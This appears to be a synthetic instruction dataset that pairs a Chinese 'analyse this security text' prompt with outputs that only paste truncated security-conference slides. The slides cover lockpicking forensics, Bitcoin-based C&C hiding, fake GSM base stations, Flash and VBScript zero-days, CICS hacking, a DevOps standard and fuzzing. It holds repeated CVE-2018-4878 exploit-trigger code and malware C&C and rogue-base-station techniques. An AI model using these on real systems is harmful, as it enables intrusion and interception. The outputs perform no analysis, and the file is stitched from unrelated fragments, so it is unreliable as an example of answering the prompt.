HasRelativePath
HasWorkingDir
HasArguments
HasIconLocation
0x4C
00021401-0000-0000-C000-000000000046
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
Windows Folder -> ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Lockpicking
Forensics
datagram
datagram.layerone@gmail.com
Defcon 17, 2009
Agenda
 How locks/picks work
 Normal wear
 Lock Analysis
 Key Analysis
 Investigative process
Destructive entry still #1!
How Locks Work
How Locks Work
How Locks Work
How Locks Work
Pin Binding
Pin Binding
Picking a Lock
Apply tension
Find binding pin
Raise to shear line
Repeat
Picking a Lock
Forensic Locksmithing
 1976 - Art Paholke, Chicago PD
 Locks, Safes, Security (Tobias)
 Werkzeugspur (Goth)
 Impressioning (Diederichsen)
 Determine method of entry
 Identify evidence, tool marks, techniques
 Provide expert testimony
Pins – New
Pins – New
Key - New
Plug - New
Pins – 100 uses
Pins – 100 uses
Plug – 100 uses
Key – 100 Uses
Pins – 1,500 uses (pin 1)
Pins – 1,500 uses (pin 5)
Key – 1,500 uses
Plug – 1,500 uses
Pins - 5,000 uses (pin 1)
Pins - 5,000 uses (pin 5)
Plug – 5,000 uses
Plug – 5,000 uses
Plug – 5,000 uses
Key - 5,000 uses
Forensic Analysis
Components (pins, springs, etc)
Plug
Cylinder
Cam/Actuator
Keys
Bolt
Door, window, wall, etc
Lockpicking
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Tension
Lockpicking - Tension
Lockpicking - Tension
Lockpicking - Cam
Lockpicking - Cam
Lockpicking - Medecoder
Pick Guns
Pick Guns - Pins
Pick Guns - Pins
Pick Guns - Cam
Pick Guns - Cam
Key Bumping
Key Bumping
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Plug
Key Bumping - Face
Key Bumping - Face
Key Bumping - Plug
Impressioning
Impressioning - Manipulation
Impressioning - Manipulation
Impressioning - Plug
Impressioning – UV residue
Impressioning – UV Residue
Decoding
 Depends on technique
 Covert  vs. su...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

利用区块链技术隐藏C&C服务器IP
这个月刚结束的Blackhat亚洲会议上有很多有意思的议题。其中有一个议题：How Did the
Adversaries Abusing Bitcoin Blockchain Evade Our Takeover引起了我的兴趣。主要是介绍了攻
击者利用比特币区块链的技术隐藏C&C服务器IP逃避接管的技术。简单学习记录一下。
介绍
网络安全一直是猫捉老鼠的游戏。过去，我们看到恶意软件生态系统采用了诸如代码混淆，多态性，域
生成算法（DGA）以及虚拟机和沙箱规避等概念，只要防御能够对这些威胁进行一致且普遍的抑制。
一些攻击者最近开始使用比特币区块链来传达命令和控制（C＆C）信息。由于一旦矿工确认交易，任何
人都无法阻止或从区块链中删除交易，这意味着对手不必担心其C＆C位置的交易会被撤消。恶意软件策
略，技术和程序（TTP）的最新创新意味着，现有的常见防御措施（例如DGA预计算或漏洞域）将不再
起作用。
来自blackhat官方议题介绍
常用的缓解或检测C&C server的方式
预测恶意域名并停止它
检测查找模式，尤其是NXDomain
在搜索其C＆C服务器时，受感染的计算机会对当前不存在的域名执行大量查询。这些所造成的
NXDomain响应泛滥在网络环境中很明显，因为用户可能偶尔会错误键入域名，但不会以固定间隔
连续输入数百次。许多解决方案利用定期或批量查找结合大量NXDomain来对受感染的计算机进行
本地化
找到并抓住物理基础架构（我的理解是定位到具体的服务器厂商，服务器架设的地址等）
采用区块链技术隐藏C&C server的优势
没有什么可预测的。因为是利用的区块链上的交易，也不可从链上删除
没有对异常站点的DNS查找。从来没有任何NXDomain
大多数藏在TOR网关后面，难以被定位
实现技术
我们需要将特定的比特币接收地址硬编码进恶意软件加载器的源代码中，通过api接口监视付款交易（比
如api.blockcypher.com）。从接口中检索出与接收地址相关的最近的交易记录，用一种机制解码出当前
使用的C&C server的IP地址。
接下来说说这个编码解码的机制。首先我们以一个1BkeG开头的地址（硬编码进恶意软件加载器中
的），从一个或多个其他比特币地址（比特币数量在0.0000101-0.00065278或者0.12USD-70.75USD之
间变化) 接收付款。而我们需要编码的C&C server的IP地址就是交易量来编码出来的。通过十六进制先转
换satoshi（聪）的交易值，并交换两个字节，再转化为十进制拼接组成。
这里的satoshi是比特币的最小单位，1satoshi=0.00000001BTC。我觉得攻击者利用satoshi作单
位应该是能构造出一个五位数从而转化为两个十六进制字节从而进行操作。
而此时我们取最近的两次交易，发送特定数量的btc，就能构造出4组字节，从而拼接成ip地址
这里的付款人被称为"发件人"，接收地址称为"IP信号"，由恶意软件加载器监控。
而技术也不是空头理论，已经有攻击者应用到恶意软件中去。具体案例是名为Pony的恶意软件。
关于改进策略
原先的机制通过两次单独的交易向服务器IP地址发出信号，当使用两个单独的事务时，仅当包括交易并
由开采区块链中下一个区块的人确认并通过交易时，通过比特币系统发送的付款才是最终的交易。通过
区块链网络的传播会产生一些延迟，此外，矿工将独立确定将哪些交易包括在其区块中。因此，如果恶
意软件所有者发送两个交易的顺序不同，僵尸程序将组成错误的IP地址。
攻击者正在试验和完善两种策略来避免和缓解这些操作问题。我们将使用的第一个策略称为时间滞后，
其中延迟发送事务以将其延迟到不同的块中。后来，对手试图通过向矿工支付更高的奖励来控制区块链
的行为，我们将其称为费用命令。
时间滞后
为了确保交易的顺序让僵尸程序正确识别C&C server的IP地址。攻击者提出了一种简单且明显有效的策
略是确保在其中一项交易之前先记录下来，这是在两者之间造成人为的延迟。只有在第一个交易在一个
区块中得到确认并在整个网络中传播后，才触发第二个交易。但代价是存在一个间歇性的时间段，在此
期间，要是有别的交易，僵尸程序将通过解码新的和旧的交易值来组成错误的C＆C地址。
费用命令
付款被包含在区块链中的方式不仅是一个问题，它在什么时候发送，而且是如何付款的。为了将交易包
括在区块链中，发送者必须支付一定的费用。该费用取决于交易的大小（以字节为单位），但发送方可
以选择提供更高的费用，以增加矿工将交易包括在当前开采的区块中的动力。
通过设置正确的费用金额，恶意软件所有者可以影响两个交易的优先级并成为同一区块的一部分，同时
仍保持正确的顺序。
然而...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sleight of Mind
Magic and Social Engineering
Mike Murray
Tyler Reguly
1
A DANGEROUS OPENER
Credit: Luke Jermay
2
EXPLANATION
3
THE FORCE IS WITH YOU
4
EXPLANATION
5
COIN BENDING
Credit: Luke Jermay
6
EXPLANATION
7
EQUIVOQUE
Credit: Luke Jermay
8
EXPLANATION
9
IN THE CARDS
10
EXPLANATION
11
RGM
Credit: Luke Jermay
12
EXPLANATION
13
QUESTIONS?
Email Us:
mmurray@episteme.ca
ht@computerdefense.org
14


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

反间谍计划：
⾃自建基站与数据嗅探⽅方法论
百度安全实验室 ⼩小灰灰
关于我
百度安全实验室  ⾼高级安全研究员
研究领域：IoT安全/AI安全/⽆无⼈人⻋车
安全
多次破解硬件设备
之前负责：
•
BSRC、应急处置、0day分析
•
百度产品 安全评估
•
百度安全监控体系建设
⼤大纲
•  联⽹网IOT设备测试⽬目的、测试⽅方法
•  如何实现⾃自动附着、MITM流量量
•  如何搭建LTE测试基站
•  漏漏洞洞实例例介绍
•  其他测试⽅方法
⽬目的及守则
•  ⽬目的：
–  了了解GSM的安全⻛风险
–  通过搭建测试基站，辅助IOT设备安全漏漏
洞洞挖掘
–  增强产品安全性
•  测试守则：
–  严格遵守相关法律律，不不影响正常信道通信
•  屏蔽器器中/封闭地下室操作
•  如实在条件限制，需调低功率/衰减器器直连
测试⽬目的
•  控制流量量
–  获取流量量（敏敏感数据、接⼝口分析、固件分析、远控&升
级分析）
–  修改流量量（MITM中间⼈人、DNS欺骗）
–  访问（运营商侧interface访问设备 存在漏漏洞洞的端⼝口）
•  控制短信
–  短信下发指令（场景很少）
漏漏洞洞挖掘⽅方法
•
获取云端接⼝口
–
攻击云端web漏漏洞洞（注⼊入、升级FTP）
–
client重放、越权
•
获取通讯数据
–
辅助理理解流程
–
加密信道：辅助分析获取加密密钥，获得加解密能⼒力力
–
获取密码、token、session等关键key
–
获取固件更更新链接
•
修改数据
–
修改配置参数、替换固件
–
注⼊入恶意代码，例例如浏览器器RCE
•
访问监听端⼝口
–
⾃自身提供管理理服务，例例如telnet、adb、ssh
–
分析监听bin，协议模拟/命令注⼊入/溢出攻击
•
协议、基带Fuzz
有时是攻击前
有时在攻击中
两种测试基站需求场景
•  攻击前
–  不不需要任意client⾃自动连⼊入我们的攻击基站
–  只需要⽬目标client能够连⼊入
–  实现： 搭建GSM和LTE测试基站，特殊sim卡写卡实现认证
•  攻击中
–  需要任意client⾃自动从现⽹网切换到我们的攻击基站
–  GSM⽹网络存在认证问题，可能实现
–  实现：搭建GSM攻击基站，通过强制⼩小区重选 连接到攻击
基站
我们先来实现难的-攻击中基站
•  ⾃自动连⼊入攻击基站，并且控制流量量
•  看下腾讯KEEN LAB 攻击宝⻢马⻋车机系统的case
G -- Generation
•  1G 模拟信号 ⼤大哥⼤大
•  2G GSM/CDMA
•  3G  3GPP  WCDMA/CDMA2000
•  4G  LTE
•  5G  ⾼高速率 低延迟 切⽚片 万物互联
时代进步 -- > 技术升级
•  部分标准在设计之初没有考虑安全问题
–  模拟已经不不存在，不不考虑
–  GSM存在问题，但部分地区已退⽹网不不⽀支持2G
•  问题已解决？
•  No
–  所有⼿手机都⽀支持2G
–  ⼤大部分物联⽹网设备通讯模块都⼯工作在2G下（不不要求⾼高速数据）
GSM安全问题
•
2G GSM⽹网络，在设计之初就存在安全问题
–  单向鉴权⽽而⾮非双向，即只有⽹网络鉴定⽤用户是否合法
–  导致伪造基站的可能
伪基站应运⽽而⽣生
Just给你发了一个发送号码
和内容可以自定义的短信%
伪基站内部探究
•  收发板（SDR软件⽆无线电）
•  放⼤大器器（功率）
•  双⼯工器器、电源
•  外部笔记本+软件（Openbts
2.8）
通过软件模拟+收发
设备实现GSM基站
系统
伪基站都做了了什什么
•
⽤用⼯工程机 找个弱频点，设置MCC、MNC等参数和周围⼀一样 LAC不不⼀一样
•
⼿手机获知⼴广播消息，C1C2还很⼤大，呀！这得重选⼩小区到这个伪基站。发
现LAC变了了！这得位置更更新请求
•
⼿手机傻乎乎的给鉴权信息，伪基站看也不不看，来者不不拒
•
⼿手机在伪基站中，伪基站看IMSI（位置更更新时获取的），嗯，刚刚没发
过短信，发⼀一条
•
伪基站利利⽤用完⼿手机了了，然后踢掉它
•
开始其他环节（钓⻥鱼、种⻢马、洗卡、售卖）
•  Just给你发了了⼀一个发送号码和内容可以⾃自定义的短信
我们需要什什么
•  不不可以滥发短信，不不需要⼤大功率，不不可以⼲干扰周
边
•  只需要实现⼩小区切换、⾃自动附着
–  实际上⽆无需测试，请遵守法...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Browser Script Engine
Zero Days in 2018
Elliot Cao
Trend Micro
2019-05-30
Whoami
• Previous occupation is electrical engineer
• Joined in Trend Micro in 2017
• Sandbox developer
• Started browser vulnerability research in 2018
• Focus on browser script engine
• Lei Cao (@elli0tn0phacker)
Agenda
• Browser Zero Days in 2018
• VBSEmulator
• Chakra
Browser Zero Days in 2018
Browser Zero Days in 2018
• Flash:       CVE-2018-4878 CVE-2018-15982
• VBScript:  CVE-2018-8174 CVE-2018-8373
• JScript:     CVE-2018-8653
Flash Zero Days in 2018
• CVE-2018-4878
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompleteListener ();
}
Flash Zero Days in 2018
• CVE-2018-4878
Create an Object
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompleteListener ();
}
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ayoub ELAASSAL
ayoub.elaassal@wavestone.com
@ayoul3__
CICS BREAKDOWN
Hack your way to transaction city
© WAVESTONE
2
What people think of when I talk about mainframes
© WAVESTONE
3
The reality: IBM zEC 13 technical specs:
• 10 TB of RAM
• 141 processors,5 GHz
• Dedicated processors for JAVA, XML and
UNIX
• Cryptographic chips…
Badass Badass Badass !!
So what…who uses those anymore ?
© WAVESTONE
4
APIS IT - Atos Origin - Applabs - Arby’s – Wendy’s Group - Archer Daniels Midland - Assurant - AT&T / BellSouth / Cingular - Atlanta Housing Authority - Atlanta Journal
Constitution - Atlantic Pacific Tea Company (A&P) - Aurum/BSPR - Auto Zone - Aviva - Avnet - Avon (Westchester) - Axa (Jersey City) - ANZ Bank - BI Moyle Associates, Inc.
- Bajaj Allianz - Bank Central Asia (BCA) - Bank Indonesia (BI) - Bank International Indonesia (BII) - Bank Nasional Indonesia (BNI46) - Bank Of America - Bank of America
(BAC) - Bank of America (was Nations Bank – Can work out of Alpharetta office) - Bank of Montreal (BMO:CN) - Bank of New York Mellon (BNY) (BK) New York NY,
Pittsburgh, PA and Nashville, TN, Everett - Bank of Tokyo (Jersey City) - Bank Rakyat Indonesia (BRI) - Bank Vontobel - BB&T - Belastingdienst - Bi-Lo - Blue Cross Blue
Shield - Blue Cross Blue Shield GA - Blue Cross Blue Shield MD - Blue Cross Blue Shield SC - Blue Cross Blue Shield TN - Blue Cross/Blue Shield of Texas - Brindley
Technologies - BMC Software - BMW - BNP Paribas Fortis Brussels Belgium - BNP Paribas Paris France - Boston Univerity - Broadridge Financial Services - Brotherhood Bank
& Trust - Broward County Schools - Brown Brothers Harriman (BBH) - British Airways - C&S Wholesale Grocers - CA Technologies - California Casualty Management
Company, San Mateo and Sacramento, CA - Canadian Imperial Bank of Commerce (CIBC) - CAP GEMINI - Capco - Capital One - Glen Allen/West Creek - Catapiller - Cathy
Pacific - CDSI - Ceridian - CGI - Charles Schwab - Chase - Chemical Abstract Serv...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ICS 35.020
 CCS
YD
中 华 人 民 共 和 国 通 信 行 业 标 准
YD/T 1756T—2018
 [代替 YD/T]
 研发运营一体化（DevOps）能力成熟度
模型 第 4 部分：技术运营
  The Capability Maturity Model of DevOps   Part 4 : Technical Operation
management
（送审稿）
 （本稿完成日期：2019.6.20）
[××××]-[××]-[××]发布
[××××]-[××]-[××]实施
中华人民共和国工业和信息化部! 发 布
YD/T 1756T—2018
I
目  次
目  次 ............................................................................................................................................................ I
前  言 .......................................................................................................................................................... III
研发运营一体化（DevOps）能力成熟度模型 第 4 部分：技术运营 ........................................................... 1
1 范围 ................................................................................................................................................................ 1
2 规范性引用文件 ............................................................................................................................................ 1
3 术语和定义及缩略语 .................................................................................................................................... 1
3.1 术语和定义 ............................................................................................................................................. 1
3.1.1 配置项 configuration item ................................................................................................................ 1
3.1.2 制品 artifact ...................................................................................................................................... 1
3.1.3 代码复杂度 code complexity ........................................................................................................... 1
3.1.4 部署流水线 deployment pipeline .................................................................................................... 1
3.1.5 研发运营一体化 DevOps ...................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Meddle: Framework for piggy-back fuzzing and
tool development
Geo↵ McDonald
glmcdona@gmail.com, unaﬃliated presentation
August 8, 2014
DEF CON 22
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
1. Background
About Me
Fuzzing
File Format Fuzzing
Protocol Fuzzing
2. Meddle Framework
Introduction
Meddle Target
Meddle Process
Meddle Controller
3. XRDP Fuzzing
XRDP Server
4. DeviceIoControl
DeviceIoControl Demo
5. Sandbox
Malware Sandbox Demo
6. Conclusion
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
About Me
About Me
Vancouver, Canada
Game hacking (Ultima Online MMORPG)
Reverse-engineering tool developer
Previously Symantec
Currently at Microsoft
Personal website http://www.split-code.com/
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Fuzzing
Types of Fuzzing
File Format Fuzzing
PDF, Microsoft Word, or TrueType fonts
Protocol Fuzzing
RDP, VNC, SSL, or Voip
Application Fuzzing
COM objects, API calls, or inter-process communication
Web Application Fuzzing
Joomla, WordPress, or any website
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Fuzzing
Fuzzing Tools
SPIKE from Immunity [1]
Network protocols and web applications
Basic Fuzzing Framework (BFF) from CERT [2]
File format
SAGE from Microsoft [3]
Input fuzzing
AutoFuzz [4]
Network protocols by MITM
COMRaider [5]
COM interface...